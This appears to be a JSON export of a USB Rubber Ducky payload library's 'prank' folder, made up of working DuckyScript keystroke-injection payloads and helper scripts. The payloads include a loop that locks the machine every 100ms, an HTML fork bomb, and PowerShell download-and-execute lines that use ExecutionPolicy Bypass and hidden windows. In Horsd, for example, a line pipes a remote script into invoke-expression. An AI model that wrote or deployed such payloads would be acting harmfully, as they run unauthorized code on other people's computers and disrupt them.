    "content": "REM     EternalLock\nREM     Version 1.0\nREM     OS: Windows / Unix\nREM     Author: 0i41E\nREM     Requirement: DuckyScript 3.0\nREM     A lil' prank for all the ones snooping on your usb sticks. This will lock the machine every 100ms until the button is pressed (or ther ducky pulled out)\n\nATTACKMODE HID STORAGE\n\nREM Extension DETECT_READY by Korben for best and fastest deployment\nEXTENSION DETECT_READY\n    REM VERSION 1.0\n\n    REM USAGE:\n    REM Extension runs inline (here)\n    REM Place at beginning of payload (besides ATTACKMODE) to act as dynamic\n    REM boot delay\n\n    REM TARGETS:\n    REM Any system that reflects CAPSLOCK will detect minimum required delay\n    REM Any system that does not reflect CAPSLOCK will hit the max delay of 3000ms\n\n    REM CONFIGURATION:\n    DEFINE RESPONSE_DELAY 25\n    DEFINE ITERATION_LIMIT 120\n\n    VAR $C = 0\n    WHILE (($_CAPSLOCK_ON == FALSE) && ($C < ITERATION_LIMIT))\n        CAPSLOCK\n        DELAY RESPONSE_DELAY\n        $C = ($C + 1)\n    END_WHILE\n    CAPSLOCK\nEND_EXTENSION\n\nREM Delay until the machine gets locked\nDEFINE #TRIPWIRETIME 3000\nREM Time between forced machine locks\nDEFINE #LOCKTIME 100\n\nWAIT_FOR_STORAGE_ACTIVITY\nDELAY #TRIPWIRETIME\n\nBUTTON_DEF\n    WHILE TRUE\n        ATTACKMODE STORAGE\n    END_WHILE\nEND_BUTTON\n\nREM Lock machine until Button is pressed\nWHILE TRUE\nGUI l\nDELAY #LOCKTIME\nEND_WHILE\n"
  },
  {
    "path": "payloads/library/prank/Full-ScreenBannerJoke/README.md",
    "content": "# Full-Screen Banner Joke\n\nA script used to prank your friends with full-screen banner.\n\n**Category**: Prank\n\n## Description\n\nA script used to prank your friends with full-screen banner.\n\nOpen a PowerShell, download the Python script and execute it. The Python script will create a black full screen with a triggered prank phrase. \n\n## Getting Started\n\n### Dependencies\n\n* Internet Connection\n* Python installed\n* ExecutionPolicy Bypass\n\n### Settings\n\n- Setup your Python script link in the payload.txt file\n\n## Credits\n\n<h2 align=\"center\"> Aleff :octocat: </h2>\n<div align=center>\n<table>\n  <tr>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://github.com/aleff-github\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/github.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Github\n    </td>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://www.linkedin.com/in/alessandro-greco-aka-aleff/\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/linkedin.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Linkedin\n    </td>\n  </tr>\n</table>\n</div>"
  },
  {
    "path": "payloads/library/prank/Full-ScreenBannerJoke/payload.txt",
    "content": "\nREM ############################################\nREM #                                          |\nREM # Title        : Full-Screen Banner Joke   |\nREM # Author       : Aleff                     |\nREM # Version      : 1.0                       |\nREM # Category     : Prank                     |\nREM # Target       : Windows 10-11             |\nREM #                                          |\nREM ############################################\n\n\nREM Requirements:\nREM     - Internet Connection\nREM     - Python installed\nREM     - ExecutionPolicy Bypass\n\n\nREM REQUIRED - Set your Python script link\nDEFINE SCRIPT-PY-LINK example.com\n\n\nDELAY 1000\nGUI r\nDELAY 500\nSTRING powershell\nENTER\nDELAY 500\n\nSTRING Invoke-WebRequest -Uri \"\nSTRING SCRIPT-PY-LINK\nSTRING \" -OutFile \"script.py\"\nENTER\nDELAY 500\n\nSTRINGLN Start-Process python.exe -ArgumentList \"script.py\" -WindowStyle Hidden\nDELAY 1000\nALT F4\n"
  },
  {
    "path": "payloads/library/prank/Full-ScreenBannerJoke/script.py",
    "content": "try:\n    import pygame\nexcept:\n    import os\n    os.system(\"pip install pygame\") \n    import pygame   \nimport random\n\n\npygame.init()\n\ninfoObject = pygame.display.Info()\nscreen_width = infoObject.current_w\nscreen_height = infoObject.current_h\nscreen = pygame.display.set_mode((screen_width, screen_height))\npygame.display.set_caption(\"Python Prank!\")\n\nfont = pygame.font.SysFont(\"Arial\", 64)\n\nwhile True:\n\n    text_color = (random.randint(0, 255), random.randint(0, 255), random.randint(0, 255))\n    text = font.render(\":-) RUBBER DUCKS WILL TAKE OVER THE OCEANS! (-: )\", True, text_color)\n\n    x_offset = random.randint(-50, 50)\n    y_offset = random.randint(-50, 50)\n    text_rect = text.get_rect()\n    text_rect.center = (screen_width//2 + x_offset, screen_height//2 + y_offset)\n\n    screen.fill((0, 0, 0))\n    screen.blit(text, text_rect)\n    pygame.display.flip()"
  },
  {
    "path": "payloads/library/prank/HTML_Fork-Bomb/payload-ie.txt",
    "content": "REM HTML Fork Bomb by Jonny Banana\nREM https://github.com/JonnyBanana/Rubber-Ducky_HTML_Fork-Bomb\nDELAY 2000\nCONTROL ESCAPE\nDELAY 200\nSTRING C:\\Program Files\\Internet Explorer\\iexplore.exe https://jonnybanana.github.io/HTML-Fork-Bomb.github.io/\nDELAY 200\nENTER\nREM set a long delay to give time to this disgusting browser\nDELAY 1000\nREM it's time to enable Pop-Up\nTAB\nDELAY 200\nENTER \n"
  },
  {
    "path": "payloads/library/prank/HTML_Fork-Bomb/payload.txt",
    "content": "REM HTML Fork Bomb by Jonny Banana\nREM https://github.com/JonnyBanana/Rubber-Ducky_HTML_Fork-Bomb\nDELAY 2000\nCONTROL ESCAPE\nDELAY 200\nSTRING C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe https://jonnybanana.github.io/HTML-Fork-Bomb.github.io/\nDELAY 200\nENTER\nREM set a long delay to give time to this disgusting browser\nDELAY 2000\nREM it's time to enable Pop-Up\nTAB\nDELAY 200\nENTER \n"
  },
  {
    "path": "payloads/library/prank/Hacker_Typer/payload.txt",
    "content": "\nREM Title: Hacker Typer\nREM Author:\tUberGuidoZ\nREM Description: Opens a harmless website and types like a hacker\nREM Target:\tWindows but easily modified to work on any OS with a browser\nREM Version:\t1.1\nREM Category:\tPrank\nREM Source: https://github.com/UberGuidoZ/OMG-Payloads\nATTACKMODE HID STORAGE\nDELAY 1500\nGUI r\nDELAY 1000\nSTRING http://geektyper.com/plain\nDELAY 50\nENTER\nDELAY 2000\nF11\nDELAY 500\nSTRING qwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiop\nDELAY 500\nSTRING qwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiop\nDELAY 500\nSTRING qwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiop\nDELAY 1500\nRIGHTARROW\nDELAY 1500\nLEFTARROW\nDELAY 1500\nSTRING 3\nDELAY 1500\nSHIFT\nDELAY 1500\nSTRING 1\nDELAY 1500\nSTRING 6\nDELAY 1500\nSTRING 4\nDELAY 1500\nSTRING 2\nDELAY 1500\nSTRING 5\nDELAY 1500\nSTRING 7\nDELAY 1500\nSTRING 9\nDELAY 1500\nSTRING 8\nDELAY 5000\nBACKSPACE\nDELAY 500\nSTRING qwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiop\nDELAY 500\nSTRING qwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiop\nDELAY 500\nSTRING qwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiop\nDELAY 500\nSTRING 0\nDELAY 500\nSTRING qwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiop\nDELAY 500\nSTRING qwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiop\nDELAY 500\nSTRING qwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiop\nDELAY 500\nSTRING qwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiop\nDELAY 500\nSTRING qwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiop\nDELAY 500\nSTRING qwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiop\nUPARROW\nDELAY 500\nSTRING qwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiop\nDELAY 500\nSTRING qwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiop\nDELAY 500\nSTRING qwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiop\nDELAY 500\nSTRING qwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiop\nDELAY 500\nSTRING qwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiop\nDELAY 500\nSTRING qwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiop\nDELAY 5000\nALT F4\n"
  },
  {
    "path": "payloads/library/prank/Horsd/README.md",
    "content": "# Horsd - In memorium to my Nan\nChanges the target users background to a picture of a brown horse running, a nod to my nan's laptop background.\n** This script requires very minor configuration found on LN:23 of the payload, set your own direct access link to the horsd.ps1 powershell script."
  },
  {
    "path": "payloads/library/prank/Horsd/horsd.ps1",
    "content": "$Image=\"%UserProfile%/horse.jpg\"\n$code = @' \nusing System.Runtime.InteropServices; \nnamespace Win32{ \n    \n     public class Wallpaper{ \n        [DllImport(\"user32.dll\", CharSet=CharSet.Auto)] \n         static extern int SystemParametersInfo (int uAction , int uParam , string lpvParam , int fuWinIni) ; \n         \n         public static void SetWallpaper(string thePath){ \n            SystemParametersInfo(20,0,thePath,3); \n         }\n    }\n } \n'@\n\nadd-type $code \n[Win32.Wallpaper]::SetWallpaper($Image)"
  },
  {
    "path": "payloads/library/prank/Horsd/payload.txt",
    "content": "REM Title:         Horsd\nREM Author:        MocconaCoffee\nREM Description:    A simple script that will change the users wallpaper to Brown Horse that is running.\nREM Dedicated to:   This script is a toast to my Nan that passed recently (she pioneered horse backgrounds on her decade-old laptop.)\nREM Target OS: Windows 10\nREM Required Configurations: Ensure that you have amended changes to the URL with a direct link to the script hosted by your own hosting service. DO NOT use GitHub as a medium for staging the script.\nDEFINE #SCRIPTURL example.com\n\nDELAY 3000\nGUI r\nDELAY 300\nSTRING powershell\nENTER\nDELAY 300\nSTRING Invoke-WebRequest -Uri https://i.imgur.com/jwstWRR.jpg -OutFile horse.jpg\nENTER\nDELAY 100\nSTRING exit\nENTER\nDELAY 1000\nGUI r\nDELAY 300\nSTRING powershell -w h -NoP -NonI -Exec Bypass $pl = iwr #SCRIPTURL/horsd.ps1?dl=1; invoke-expression $pl\nENTER\nDELAY 1000\nGUI r\nDELAY 300\nSTRING powershell\nENTER\nDELAY 300\nSTRING Remove-Item horse.jpg\nENTER\nDELAY 300\nSTRING exit\nENTER\n"
  },
  {
    "path": "payloads/library/prank/MacOS-Remap-Dvorak/payload.txt",
    "content": "REM       MacOS-REMAP.DVORAK\nREM       Version 1.0\nREM       OS: macOS 10.4 - (Present)\nREM       Author: NateW\nREM       Requirements: Any DuckyScript Capable Device. In my case, I am building for a FlipperZero.\nREM       Description: Launches terminal, uses hidutil to remap All keys to the Dvorak layout.\nREM       More Instructions and Revert Script https://github.com/nwhistler/flipper-tools/tree/master/badusb/MacOS/key-remap\nDELAY 200\nGUI SPACE\nDELAY 500\nSTRING Terminal\nDELAY 700\nENTER\nDELAY 700\nSTRING hidutil property --set '{\"UserKeyMapping\":[{\"HIDKeyboardModifierMappingSrc\": 0x70000002D,\"HIDKeyboardModifierMappingDst\": 0x70000002F},{\"HIDKeyboardModifierMappingSrc\": 0x70000002E,\nSTRING \"HIDKeyboardModifierMappingDst\": 0x700000030},{\"HIDKeyboardModifierMappingSrc\": 0x700000014,\"HIDKeyboardModifierMappingDst\": 0x700000034},{\"HIDKeyboardModifierMappingSrc\": 0x70000001A,\nSTRING \"HIDKeyboardModifierMappingDst\": 0x700000036},{\"HIDKeyboardModifierMappingSrc\": 0x700000008,\"HIDKeyboardModifierMappingDst\": 0x700000037},{\"HIDKeyboardModifierMappingSrc\": 0x700000015,\nSTRING \"HIDKeyboardModifierMappingDst\": 0x700000013},{\"HIDKeyboardModifierMappingSrc\": 0x700000017,\"HIDKeyboardModifierMappingDst\": 0x70000001C},{\"HIDKeyboardModifierMappingSrc\": 0x70000001C,\nSTRING \"HIDKeyboardModifierMappingDst\": 0x700000009},{\"HIDKeyboardModifierMappingSrc\": 0x700000018,\"HIDKeyboardModifierMappingDst\": 0x70000000A},{\"HIDKeyboardModifierMappingSrc\": 0x70000000C,\nSTRING \"HIDKeyboardModifierMappingDst\": 0x700000006},{\"HIDKeyboardModifierMappingSrc\": 0x700000012,\"HIDKeyboardModifierMappingDst\": 0x700000015},{\"HIDKeyboardModifierMappingSrc\": 0x700000013,\nSTRING \"HIDKeyboardModifierMappingDst\": 0x70000000F},{\"HIDKeyboardModifierMappingSrc\": 0x70000002F,\"HIDKeyboardModifierMappingDst\": 0x700000038},{\"HIDKeyboardModifierMappingSrc\": 0x700000030,\nSTRING \"HIDKeyboardModifierMappingDst\": 0x70000002E},{\"HIDKeyboardModifierMappingSrc\": 0x700000016,\"HIDKeyboardModifierMappingDst\": 0x700000012},{\"HIDKeyboardModifierMappingSrc\": 0x700000007,\nSTRING \"HIDKeyboardModifierMappingDst\": 0x700000008},{\"HIDKeyboardModifierMappingSrc\": 0x700000009,\"HIDKeyboardModifierMappingDst\": 0x700000018},{\"HIDKeyboardModifierMappingSrc\": 0x70000000A,\nSTRING \"HIDKeyboardModifierMappingDst\": 0x70000000C},{\"HIDKeyboardModifierMappingSrc\": 0x70000000B,\"HIDKeyboardModifierMappingDst\": 0x700000007},{\"HIDKeyboardModifierMappingSrc\": 0x70000000D,\nSTRING \"HIDKeyboardModifierMappingDst\": 0x70000000B},{\"HIDKeyboardModifierMappingSrc\": 0x70000000E,\"HIDKeyboardModifierMappingDst\": 0x700000017},{\"HIDKeyboardModifierMappingSrc\": 0x70000000F,\nSTRING \"HIDKeyboardModifierMappingDst\": 0x700000011},{\"HIDKeyboardModifierMappingSrc\": 0x700000033,\"HIDKeyboardModifierMappingDst\": 0x700000016},{\"HIDKeyboardModifierMappingSrc\": 0x700000034,\nSTRING \"HIDKeyboardModifierMappingDst\": 0x70000002D},{\"HIDKeyboardModifierMappingSrc\": 0x70000001D,\"HIDKeyboardModifierMappingDst\": 0x700000033},{\"HIDKeyboardModifierMappingSrc\": 0x70000001B,\nSTRING \"HIDKeyboardModifierMappingDst\": 0x700000014},{\"HIDKeyboardModifierMappingSrc\": 0x700000006,\"HIDKeyboardModifierMappingDst\": 0x70000000D},{\"HIDKeyboardModifierMappingSrc\": 0x700000019,\nSTRING \"HIDKeyboardModifierMappingDst\": 0x70000000E},{\"HIDKeyboardModifierMappingSrc\": 0x700000005,\"HIDKeyboardModifierMappingDst\": 0x70000001B},{\"HIDKeyboardModifierMappingSrc\": 0x700000011,\nSTRING \"HIDKeyboardModifierMappingDst\": 0x700000005},{\"HIDKeyboardModifierMappingSrc\": 0x700000010,\"HIDKeyboardModifierMappingDst\": 0x700000010},{\"HIDKeyboardModifierMappingSrc\": 0x700000036,\"HIDKeyboardModifierMappingDst\": 0x70000001A},\nSTRING {\"HIDKeyboardModifierMappingSrc\": 0x700000037,\"HIDKeyboardModifierMappingDst\": 0x700000019},{\"HIDKeyboardModifierMappingSrc\": 0x700000038,\"HIDKeyboardModifierMappingDst\": 0x70000001D}]}'\nDELAY 3500\nENTER\n"
  },
  {
    "path": "payloads/library/prank/MacTalk/mactalk.txt",
    "content": "REM Title: MACTALK\nREM Author: Ecto-1A\nREM Description: Opens terminal, turns the volume to max \nREM and makes the computer say \"Hello! We've been trying to reach you about your cars extended warrantee!\"\nREM using the Macs built in text to speach function\nREM Target: MacOS \nREM Version: 1.0\nREM Category: Prank\n\nDELAY 500\nGUI SPACE\nDELAY 500\nSTRING terminal\nDELAY 200\nENTER\nDELAY 500\nSTRING osascript -e \"set Volume 10\"\nDELAY 500\nENTER\nDELAY 500\nSTRING say Hello! We have been trying to reach you about your cars extended warrantee!\nDELAY 500\nENTER\nDELAY 200\nGUI M\n"
  },
  {
    "path": "payloads/library/prank/MaxVolumeRickroll_Windows/README.md",
    "content": "# Max Volume Rickroll\n\n## Description\n\nRuns following oneliner in Windows Run:\n```PowerShell\npowershell $obj = New-Object -ComObject WScript.Shell;  1..50 | ForEach-Object {  $obj.SendKeys( [char] 175 )  }; Start-Process 'https://www.youtube.com/watch?v=xvFZjo5PgG0&autoplay=1'\n```\n\nTurns up the volume of **Windows 10/11** computer to **100%** and opens **rickroll** in the default browser\n\n## Requirements\n\n- Windows 10/11\n- Internet connection (to open rickroll)\n- US Keyboard Layout (to turn up the volume, not tested with other layouts)\n\n## Check me out\n\nhttps://github.com/P-ict0\n"
  },
  {
    "path": "payloads/library/prank/MaxVolumeRickroll_Windows/payload.txt",
    "content": "REM Title: Simple max volume rickroll\nREM Author: P-ict0 (https://github.com/P-ict0)\nREM Description: Turns up the volume to 100% and opens rickroll in default browser, all in one command\nREM https://github.com/P-ict0/duckyINO/tree/main/payloads/funny/rickroller\n\nDELAY 3000\n\nGUI r\nSTRING powershell $obj = New-Object -ComObject WScript.Shell;  1..50 | ForEach-Object {  $obj.SendKeys( [char] 175 )  }; Start-Process 'https://www.youtube.com/watch?v=xvFZjo5PgG0&autoplay=1'\n"
  },
  {
    "path": "payloads/library/prank/Multi_HID_HeyGotAnyGrapes/payload.txt",
    "content": "REM TITLE Hey Got Any Grapes?\nREM AUTHOR Cribbit\nREM DESCRIPTION Get Powershell or MacOS \"say\" or Linux (ubuntu) \"espeak\" to speak the opening of the duck song\nREM NOTE espeak need to be install on the system for it to work\nREM PROP Song by Bryant Oden\n\nEXTENSION OS_DETECTION\n    REM VERSION 1.0\n\n    REM USB Rubber Ducky Host OS Detection\n    REM Generic OS detection at a high view is a moving target\n    REM results may vary greatly depending \n    REM on a combination of many variables:\n    REM  - number of testing stages\n    REM  - specific devices and versions tested against\n    REM  - number of systems testing for (scope)\n    REM  - detection techniques (passive/invisible/active/hybrid)\n    REM  - overall speed\n    REM  - overall accuracy\n\n    REM TARGET:\n    REM DEFAULT - Windows, Mac, Linux\n    REM ADVANCED_DETECTION - Windows, Mac, Linux, iOS, ChromeOS, Android\n\n    REM USAGE:\n    REM Uncomment the function call below to run this extension inline (here)\n    REM or call DETECT_OS() anywhere in your payload after the extension\n    REM Place this extension and the DETECT_OS() before\n    REM you would like to first reference $_OS to execute payload code conditionally\n\n    REM CONFIGURATION:\n    DEFINE VERBOSE FALSE\n    DEFINE ADVANCED_DETECTION FALSE\n    DEFINE STARTUP_DELAY 1500\n    DEFINE RESTART_WAIT 1000\n    DEFINE CONNECT_WAIT 1000\n    DEFINE OS_DETECT_MODE HID\n    DEFINE OS_DETECT_VID VID_05AC\n    DEFINE OS_DETECT_PID PID_021E\n    DEFINE WINDOWS_HOST_REQUEST_COUNT 2\n    DEFINE HOST_RESPONSE_TIMEOUT 1000\n\n    FUNCTION DETECT_OS()\n        $_HOST_CONFIGURATION_REQUEST_COUNT = 0\n        ATTACKMODE OS_DETECT_MODE OS_DETECT_VID OS_DETECT_PID\n        DELAY STARTUP_DELAY\n        SAVE_HOST_KEYBOARD_LOCK_STATE\n\n        IF VERBOSE THEN\n            IF ADVANCED_DETECTION THEN\n                STRING ADVANCED OS DETECT\n            ELSE \n                STRING OS DETECT\n            END_IF\n\n            ENTER\n            STRING test caps\n        END_IF\n\n        IF ($_CAPSLOCK_ON == FALSE) THEN\n            LED_R\n            CAPSLOCK\n            DELAY HOST_RESPONSE_TIMEOUT\n        END_IF\n        LED_OFF\n\n        IF VERBOSE THEN\n            ENTER\n            STRING test done\n        END_IF\n\n        IF $_RECEIVED_HOST_LOCK_LED_REPLY THEN\n            IF VERBOSE THEN\n                ENTER\n                STRING received led response\n            END_IF\n            LED_G\n            IF ($_HOST_CONFIGURATION_REQUEST_COUNT > WINDOWS_HOST_REQUEST_COUNT) THEN\n                IF VERBOSE THEN\n                    ENTER\n                    STRING prediction: Windows\n                END_IF\n                $_OS = WINDOWS\n            ELSE\n                IF VERBOSE THEN\n                    ENTER\n                    STRING prediction: Linux\n                END_IF\n                $_OS = LINUX\n            END_IF\n        ELSE\n            IF VERBOSE THEN\n                ENTER\n                STRING no led response\n                ENTER\n                STRING prediciton: MacOS\n            END_IF\n            $_OS = MACOS\n        END_IF\n\n        IF ADVANCED_DETECTION THEN\n            IF ( $_OS == LINUX ) THEN\n                IF VERBOSE THEN\n                    ENTER\n                    STRING soft reconnect\n                END_IF\n                ATTACKMODE OFF\n                DELAY RESTART_WAIT\n                ATTACKMODE OS_DETECT_MODE OS_DETECT_VID OS_DETECT_PID\n                DELAY CONNECT_WAIT\n                IF VERBOSE THEN\n                    ENTER\n                    STRING reconnected\n                END_IF\n                IF ($_CAPSLOCK_ON == TRUE) THEN\n                    IF VERBOSE THEN\n                        ENTER\n                        STRING caps led on\n                        ENTER\n                        STRING test numlock\n                    END_IF\n                    NUMLOCK\n                    DELAY HOST_RESPONSE_TIMEOUT\n                    IF VERBOSE THEN\n                        ENTER\n                        STRING test done\n                    END_IF\n                    IF ($_NUMLOCK_ON == FALSE) THEN\n                        IF VERBOSE THEN\n                            ENTER\n                            STRING no numlock led\n                            ENTER\n                            STRING prediciton: ChromeOS\n                        END_IF\n                        $_OS = CHROMEOS\n                    ELSE\n                        IF VERBOSE THEN\n                            ENTER\n                            STRING numlock led on\n                            ENTER\n                            STRING testing scrolllock\n                        END_IF\n                        SCROLLLOCK\n                        DELAY HOST_RESPONSE_TIMEOUT\n                        IF VERBOSE THEN\n                            ENTER\n                            STRING test done\n                        END_IF\n                        IF ($_SCROLLLOCK_ON == TRUE) THEN\n                            IF VERBOSE THEN\n                                ENTER\n                                STRING scrolllock led on\n                                ENTER\n                                STRING prediciton: Android\n                            END_IF\n                            $_OS = ANDROID\n                        ELSE\n                            IF VERBOSE THEN\n                                ENTER\n                                STRING no scrolllock reply\n                                ENTER\n                                STRING prediction: Linux\n                            END_IF\n                            $_OS = LINUX\n                        END_IF\n                    END_IF\n                END_IF\n            ELSE IF ($_OS == MACOS) THEN\n                IF ($_CAPSLOCK_ON == TRUE) THEN\n                    IF VERBOSE THEN\n                        ENTER\n                        STRING caps led on\n                        ENTER\n                        STRING prediction: iOS\n                    END_IF\n                    $_OS = IOS\n                ELSE \n                    IF VERBOSE THEN\n                        ENTER\n                        STRING no caps reply\n                        ENTER\n                        STRING prediction: MacOS\n                    END_IF\n                    $_OS = MACOS\n                END_IF\n            ELSE IF ($_OS == WINDOWS) THEN\n                IF VERBOSE THEN\n                    ENTER\n                    STRING Confident Windows Prediction\n                END_IF\n                $_OS = WINDOWS\n            END_IF\n        END_IF\n\n        RESTORE_HOST_KEYBOARD_LOCK_STATE\n\n        IF VERBOSE THEN\n            ENTER\n            STRING OS_DETECT complete\n            ENTER\n        END_IF\n    END_FUNCTION\n\n    REM Uncomment the function call below to run this extension inline (here)\n    REM or call DETECT_OS() anywhere in your payload after the extension\n\n    REM DETECT_OS()\nEND_EXTENSION\n\n\nDEFINE #DUCKSONG \"A duck walked up to a lemonade stand and he said to the man, running the stand. Hey! Bum bum bum. Got any grapes? The man said No we just sell lemonade. But it's cold. And it's fresh. And it's all home-made. Can I get you a Glass? The duck said I'll pass! Then he waddled away. waddle waddle. Til the very next day. Bum bum bum bum bum bumbum\" \n\nDETECT_OS()\n\nIF ($_OS == WINDOWS) THEN\n    GUI r\n    DELAY 200\n    STRINGLN powershell\n    DELAY 300\n    REM the powershell version uses Speech Synthesis Markup Language so the speech can emphasis some words a change pitch for the duck\n    STRINGLN Add-Type -AssemblyName System.speech;(New-Object System.Speech.Synthesis.SpeechSynthesizer).SpeakSsml('<speak version=\"1.0\" xmlns=\"http://www.w3.org/2001/10/synthesis\" xml:lang=\"en-US\">A duck walked up to a lemonade stand<break time=\"0.5s\"/>And he said to the man, running the stand<break time=\"0.5s\"/><prosody rate=\"fast\"><emphasis>Hey!</emphasis></prosody><prosody pitch=\"x-low\">Bum bum bum</prosody><break time=\"0.5s\"/><prosody rate=\"fast\"><emphasis>Got any grapes?</emphasis></prosody>The man said<break time=\"0.5s\"/>No we just sell lemonade. But it''s cold. And it''s fresh. And it''s all home-made. Can I get you a <emphasis>Glass?</emphasis><break time=\"0.5s\"/>The duck said<break time=\"0.5s\"/><prosody rate=\"fast\">I''ll <emphasis>pass!</emphasis></prosody>Then he waddled away<prosody pitch=\"x-low\">waddle waddle</prosody><break time=\"0.2s\"/>Til the very next day<prosody pitch=\"x-low\">Bum bum bum<break time=\"0.2s\"/>bum bum bumbum</prosody></speak>')\nELSE IF ($_OS == MACOS)\n    COMMAND SPACE\n    DELAY 100\n    STRINGLN terminal\n    DELAY 100\n    STRING say\n    SPACE\n    STRINGLN #DUCKSONG\nELSE IF ($_OS == LINUX)\n    CTRL-ALT t\n    DELAY 300\n    STRING espeak\n    SPACE\n    STRINGLN #DUCKSONG\nEND_IF"
  },
  {
    "path": "payloads/library/prank/Multi_HID_HeyGotAnyGrapes/readme.md",
    "content": "# :grapes: Hey! Got Any Grapes?\r\n- Author: Cribbit\r\n- Version: 1.0\r\n- Target: Windows, Mac & linux \r\n- Category: Prank\r\n- Attackmode: HID\r\n- Props: Song by Bryant Oden\r\n\r\n\r\n## :book: Description\r\nGet Windows \"powershell\" or MacOS \"say\" or Linux (ubuntu) \"espeak\" to speak the opening of the duck song\r\n\r\n## :warning: Note\r\nespeak need to be install on a linux system for it to work\r\n\r\n## :placard: Change Log\r\n| Version | Changes         |\r\n| ------- | --------------- |\r\n| 1.0     | Initial release |\r\n\r\n"
  },
  {
    "path": "payloads/library/prank/NoMoreIcons/payload.txt",
    "content": "REM TITLE: No More Icons\nREM DESCRIPTION: Disables the icons on the desktop\nREM AUTHOR: JustinKras\nREM VERSION: 1.0\nREM CATEGORY: PRANK\nREM TARGET: Windows 11\n\nMENU\nDELAY 10\nRIGHT\nDOWN\nDOWN\nDOWN\nDOWN\nDOWN\nDELAY 10\nENTER\n"
  },
  {
    "path": "payloads/library/prank/PUBLIC-SERVICE-ANNOUNCEMENT/PSA.txt",
    "content": "REM PUBLIC-SERVICE-ANNOUCEMENT\nREM (or (EAS)ter-eggs)\nREM By Lumen\nREM Warns the user of the danger of ducks!\nDEFINE EGG1 example.com/egg1.png\nDEFINE EGG2 example.com/egg2.png\nDEFINE EGG3 example.com/egg3.png\nDEFINE EGG4 example.com/egg5.png\nDEFINE TEXTFILE example.com/a_friendly_psa.txt\nREM See below for how to configure these URLs\nDELAY 500\nGUI r\nDELAY 300\nSTRING powershell\nDELAY 300\nENTER\nDELAY 600\nSTRING Invoke-WebRequest -Uri \"\nSTRING TEXTFILE\nSTRING \" -OutFile \"~\\Desktop\\a_friendly_psa.txt\"; Invoke-WebRequest -Uri \"\nSTRING EGG1\nSTRING \" -OutFile \"~\\Documents\\egg1.png\"; Invoke-WebRequest -Uri \"\nSTRING EGG2\nSTRING \" -OutFile \"~\\Pictures\\egg2.png\"; Invoke-WebRequest -Uri \"\nSTRING EGG3\nSTRING \" -OutFile \"~\\Documents\\My Games\\egg3.png\"; Invoke-WebRequest -Uri \"\nSTRING EGG4\nSTRING \" -OutFile \"~\\Downloads\\egg5.png\"; & ~\\Desktop\\a_friendly_psa.txt\nENTER\nREM This script makes heavy use of the Invoke-WebRequest command, which\nREM gathers a webpage and optionally saves it\nREM Here, we use it to give the user a nice warning about security :D\nREM This script hides 4 eggs, gives a little warning, and may\nREM or may not send them on a quest for a mythical 5th egg ¯\\_(ツ)_/¯\nREM These statements can be removed to save on space, and the links above\nREM can be changed to short links to save on typing time\n\nREM To set up the URLs for deployment, use a file share service to host\nREM the 4 images and text files that come with this payload.\nREM Any file share can be used as long as it offers a link\nREM directly to the file that can be saved or downloaded\nREM (for example, a dropbox link with ?dl=1 at the end)\n"
  },
  {
    "path": "payloads/library/prank/PUBLIC-SERVICE-ANNOUNCEMENT/a_friendly_psa.txt",
